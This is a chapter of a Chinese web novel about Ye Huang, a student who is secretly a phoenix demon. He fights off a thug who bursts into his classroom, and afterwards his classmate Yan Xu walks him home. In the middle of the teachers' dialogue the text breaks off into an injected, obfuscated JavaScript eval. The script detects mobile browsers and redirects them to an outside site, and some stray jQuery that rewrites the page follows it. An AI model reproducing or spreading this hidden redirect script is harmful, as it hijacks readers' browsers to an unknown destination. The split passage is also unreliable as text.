今晚有雷暴雨，天空一直轰隆隆作响。
澜城一中晚自习遵循自愿原则，在这种恶劣的天气下，教室里只有叶煌和班长两个人。
又发作了，叶煌强迫自己沉浸在数学题的海洋里，试图用逻辑和公式平息体内灼热的妖力，以及五感过于敏锐带来的烦躁。
突然——
“砰！”
教室前门被极其粗暴地用力踹开，门板重重撞到墙上，巨大的声响撕裂了教室的宁静。
三个流里流气的身影堵在了门口，眼神凶狠地在教室里扫视，一看就不是善茬。
“老大，严序不在，怎么办？”
扑了个空，黄毛脸色不好看，视线一转，却看到了最后一排那个清瘦的身影。
有点眼熟……上次他们几个在巷子里堵严序，好像也看到了这小子。
一想到几次三番都没能干赢严序，黄毛混混就恨得咬牙切齿。
班长从书堆里抬起头：“你们是谁，这里是教室，请你们尽快离——”
“滚一边去书呆子!”黄毛混混身后的一个小弟毫不客气地打断，语气甚是轻蔑。
黄毛径直朝叶煌的座位走去，指关节重重地敲了敲桌面：“严序那孙子呢？躲哪去了？”
一股浓烈的烟臭、汗臭和廉价古龙水混合的刺鼻气味扑面而来，熏得叶煌差点吐出来。
一直压制得还算稳定的妖力再次躁动咆哮，叶煌用力闭了闭眼，笔尖划破了纸面。
“草你妈！聋了？！”黄毛混混感觉自己被无视了，刺着文身的手狠狠抓向叶煌的肩膀。
叶煌五感敏锐，痛感自然也被放大了无数倍。
剧痛从肩胛骨上传来，但更难以忍受的还是对方手上传来的温度，令他作呕。
叶煌猛地抬起头，那双总是平静无波的琥珀色眼睛此时翻涌着冰冷的怒火。
“松手。”叶煌声音不高，语气没什么起伏，带着一种不容置喙的命令口吻。
黄毛莫名心头一跳，但旋即被强烈的羞辱感淹没，他又用力几分，狞笑道：“我就不松怎么的，瘦鸡崽子给脸不要脸是吧？”
班长也急了，拔腿便朝这边跑来，两三下掀翻了试图阻拦他的两个混混跟班。
班长和黄毛混混的声音同时响起：
“住手，放开叶煌同学——”
“再他妈装一个，信不信老子现在就——”
两人的声音戛然而止。
叶煌的动作快得超出了所有人的反应。
黄毛混混只觉得一股难以抗拒的巨力从手腕处袭来，剧痛让他眼前一黑，本能地想要甩脱。
但叶煌根本没给他机会，扣住手腕猛地向下一拗，一拉——
“咔嚓！”
“啊——！！！”
令人牙酸的骨骼错位声和黄毛混混凄厉到变调的惨叫同时响起，他整个人身体不受控制地飞出去，直接撞到教室后面的墙壁上，然后又骨碌碌滚到地上。
整个教室陷入一片死寂。
两个混混跟班彻底懵了，眼睛瞪得像铜铃，嘴巴张得能塞下鸡蛋。
他们自己被书呆子三下五除二掀翻就算了，怎么打架凶狠的老大竟然也被瘦得风一吹就倒的小鸡崽子给废了？！而且只用了一招？！
混混们迷茫又震惊，不、不是高中生吗？
现在的高中生，这么卧虎藏龙的吗？
班长看着满地打滚呻吟的黄毛混混，两眼放光：“叶煌同学原来是文武兼修！”
“……过奖。”
班长正色道：“他们三个擅自闯进学校，挑起冲突，应该接受法律的制裁。叶煌同学，麻烦你先看着他们，我去找班主任。”
叶煌点头应了，重新回到座位上。
还真别说，刚才发泄了一回，汹涌的妖力平稳多了。
重新拿起数学试卷，题干还没看完，那黄毛混混又开始哎呦哎呦地叫唤，叶煌烦得不行，准备去把他的嘴给赌上。
叶煌找了块抹布，刚蹲下来，突然瞥见黄毛混混眼中的一抹怨毒。
突然，一截手指大小，惨白中透着诡异幽绿的利刃猛地刺向叶煌颈侧。
“小杂种，老子要你的命！”黄毛混混脸上露出混合着痛苦和疯癫的狞笑，眼底涌上嗜血的亢奋，“去死吧，这是鸩鸟的骨头，见血封喉！”
“要怪就去怪严序，这东西原本是对付他的，现在带走你，倒也不亏！”黄毛混混嘶吼着，仿佛已经看到了叶煌被刺后瞬间毙命的惨状。
骨刃带着尖锐的破空声，瞬间逼近。
明明是千钧一发之际，叶煌却根本没有回头。
他只是蹙了下眉，那截号称见血封喉的鸩鸟毒骨在雪白的脖颈上划过，触到皮肉的瞬间，发出轻微的碎裂声。
“簌簌——”
惨白幽绿的骨刃，一寸寸碎成齑粉，簌簌散落在地。
黄毛混混僵在原地，呆呆地看着自己空空如也的手掌，又看了看地上那一撮散碎的粉末，再缓缓抬头，看向终于回过头来的叶煌。
“你……你不是人类……你到底是什么东西？”黄毛混混喉咙里发出“嗬嗬”的怪叫。
叶煌垂眸，淡漠地扫了一眼地上那堆毒骨残渣。
有什么可大惊小怪的，他是凤凰，羽族之王，鸩鸟的毒骨当然伤不到他。
只不过，事情好像没这么简单了。
……
网吧里烟雾缭绕，游戏激烈的厮杀音效不绝于耳。
严序带着耳机，全神贯注地操控屏幕上的角色。
放在桌面上的手机屏幕突然亮起，嗡嗡地震动，来电显示是“书呆子班长”。
严序瞥了一眼，烦躁地“啧”了一声，直接划掉挂断。
几秒后，徐微的手机也疯狂地震动起来，屏幕上跳动着同样的名字。
徐微瞄了一眼接通了：“喂！班长！啥事啊忙着呢！”
徐微原本心不在焉地“嗯嗯”敷衍着，听清班长说的话后，猛地从椅子上弹了起来，发出一声惊天动地的嚎叫：“啊——？！什么？！！”
徐微手忙脚乱地挂断了电话：“序、序哥！出大事了，那个彪子！带了三个人闯到咱们班去了！找不到你，他们、他们和叶煌打起来了！”
严序脑子“嗡”的一声，游戏里角色的死亡音效瞬间刺耳。
他一把扯下耳机，猛地抢过徐微的手机，对着话筒大吼：“让他别硬拼！告诉他们有种冲我来！我马上就到！！！”
严序甚至没等班长回应，把手机摔回徐微怀里，一脚踹开碍事的椅子，冲出网吧，朝着学校的方向狂奔。
徐微如梦初醒，跟在后面追：“等等我啊老大！！！”
严序一路狂奔，卷起的晚风带着雷暴雨前的平静扑面而来。
严序一步也不敢停，脑子乱成一团浆糊：彪子这货出手阴狠毒辣，黏上了就甩不掉，更何况还是1V3……
艹！
严序只恨不能插上翅膀飞回去。
冲到学校门口时，一辆红白相间的救护车停着，蓝色的警示灯闪烁，十分刺目。
严序霎时心脏提到嗓子眼，慌得说不出话，后背的汗毛根根倒竖，冰冷的寒意直冲天灵盖。
完了！
严序心脏狂跳，火急火燎奔向救护车，不管不顾地挤过去，待看到担架上的人时，脚步紧急刹住。
这不是黄毛彪子吗？
鼻青脸肿，手臂扭曲，两眼无神，面如死灰。
严序整整僵了三秒钟，然后便是劫后余生般的虚脱感，他仿佛能听到自己的心脏“咚”一声落回肚子里。
“同学，让一让，别挡道！”抬着担架的医护人员吆喝着。
严序侧身让路，有点傻气：“哎哎！您忙您忙！”
看着救护车呼啸而去，严序抹了把额头上冰凉的汗，跑回教学楼，冲进自己班的教室。
教室里已经空无一人，桌椅板凳全都完好无损，仿佛什么都没发生过。
严序想了想，掏出手机给叶煌发了条消息。
“在哪？”
捱了几秒钟，严序等不及回复，掉头朝着教导主任办公室跑去。
果然，刚靠近那扇门，就听到里面传来严肃的交谈声。
严序放轻脚步，凑到门边。
胡主任气得不轻：“……性质极其恶劣！公然闯入教学场所，持械伤人！”
“……叶煌同学是正当防卫，这一点毋庸置疑。”是班主任的声音，带着维护。
紧接着又响起一个声音：“问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835679|175669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
题就是防卫是否过当？对方伤势很重，有没有目击者？”
严序听得心头一紧，一上头，直接推开了办公室的门。
办公室瞬间安静下来，教导主任、班主任、值班老师，几道目光齐刷刷地望向门口的不速之客。
胡主任眉头紧锁，眼神锐利：”严序？你不回家在学校乱窜什么！”
严序将刚才从班长电话里听到的、以及自己了解到的黄毛彪子寻仇的前因后果复述了一遍：“主任，这件事根源在我。黄毛彪子怀恨在心完全是冲我来的，叶煌同学是无辜被牵连的受害者。如果不是为了保护其他同学，他也不会被迫反击，要追究责任也有我一份！”
几位老师看着严序，面面相觑。
顾寻挑了挑眉，什么都没说。
接下来的几个小时混乱而漫长。
警车来了，刺眼的红□□光再次划破校园的宁静。
等一切折腾完，已经是深夜。预告了几个小时的雷暴雨最终并没落下，带着凉意的海风无声地掠过。
顾寻作为班主任和行动组组长忙得焦头烂额。
他不仅要向学校打报告，还要向妖怪监管局打报告。
鸩鸟毒骨可不是随随便便就能弄来的东西，他和叶煌都怀疑此事和七月份那件走私妖怪残骸的案子有关。
还有那黄毛彪子的身份，恐怕也有些蹊跷。
顾寻今夜要待在学校和教导主任、值班老师商量后续事宜，公交地铁也早已停运了，大半夜又难打车。
严序自告奋勇：“老师，我和叶煌住得近，我送他回去吧。”
“行吧，你们注意安全。”
城市褪去了喧嚣，路灯投下暗黄的光晕。
两人沉默地走着。
严序侧头看了看旁边不语的叶煌。
少年眼神平静，额前搭着碎发，嘴唇没什么血色，脖颈上那道细细的划痕清晰可见，单薄的衣裳被晚风吹得贴在身上，勾勒出过于清瘦的轮廓。
怎么感觉又瘦了？
这人平时不吃饭吗？
严序抓了抓自己硬茬似的头发，清了清嗓子，打破了那股令人窒息的沉默。
“咳……那啥，今天对不起啊。”
叶煌脚步顿了一下，旋即恢复如常，但没回应。
严序继续艰难地组织语言：“连累你了，真的，你是好学生，前途无量，不应该被扯进这种破事里。好在最后定性是对方的责任，应该不会留案底。”
“就是不知道学校那边会不会给处分……”想到这个，严序忍不住烦躁，低声爆了句粗口，“妈的，别再让我逮到黄毛彪子，弄不死他！”
一直沉默的叶煌终于侧过头，看了他一眼。
那眼神清清冷冷，冰碴子似的，让严序发泄情绪似的话卡在了喉咙里。
夜风吹过，单薄的衣裳飘飘荡荡，叶煌愈发像一片随时会被吹走的纸，细白脖颈上的红痕刺眼。
严序看着这场景，心里不舒坦，但又说不出是什么滋味，只好没话找话似的：“你冷不冷，我外套给你穿吧？”
叶煌的目光在那件深色外套上停留了一秒，随即移开，声音和眼神一样冷淡：“不用。”
严序手拿外套，心里憋得慌：“你要是生气，不痛快，打我几下出出气也行。”
“没生气，也没不痛快。”
严序不信，双臂张开，堵在叶煌面前，闭着眼找打：“来打我吧。”
等了一会儿也没挨上打，听着越走越远的脚步声，严序赶紧追上去：“这是什么意思？”
叶煌语气平稳，像在陈述一个再简单不过的事实：“没什么意思，我不跟普通人打架。”
妖怪打人类，太不公平了。况且他现在状态不稳定，稍有不慎，非死即伤。
这么狂吗？
严序吭哧了半天：“那不普通的是什么样？我努努力朝那个目标前进。”
对方答非所问：“到家了，你进去吧。”
严序抬头一看，这不是自家小区门口吗？
说好的送他回家，怎么变成送我回家了？
严序拉住叶煌的手腕，继续往前走。
察觉到掌中的手腕轻轻地挣了一下，严序越发攥紧了：“不行，说好的送你回家。”